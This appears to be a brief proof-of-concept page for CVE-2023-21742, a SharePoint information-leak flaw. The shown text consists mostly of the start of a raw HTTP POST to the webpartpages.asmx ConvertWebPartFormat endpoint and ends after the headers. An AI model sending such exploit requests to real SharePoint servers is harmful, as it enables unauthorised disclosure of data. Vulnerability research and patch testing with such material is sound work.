CVE-2023-21742

CVE-2023-21742 PoC Attention: It's only a PoC to leak the attribute/property, not RCE EXP. POST /vtibin/webpartpages.asmx HTTP/1.1 Host: splab13 SOAPAction: http://microsoft.com/sharepoint/webpartpages/ConvertWebPartFormat Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Connection: keep-aliv...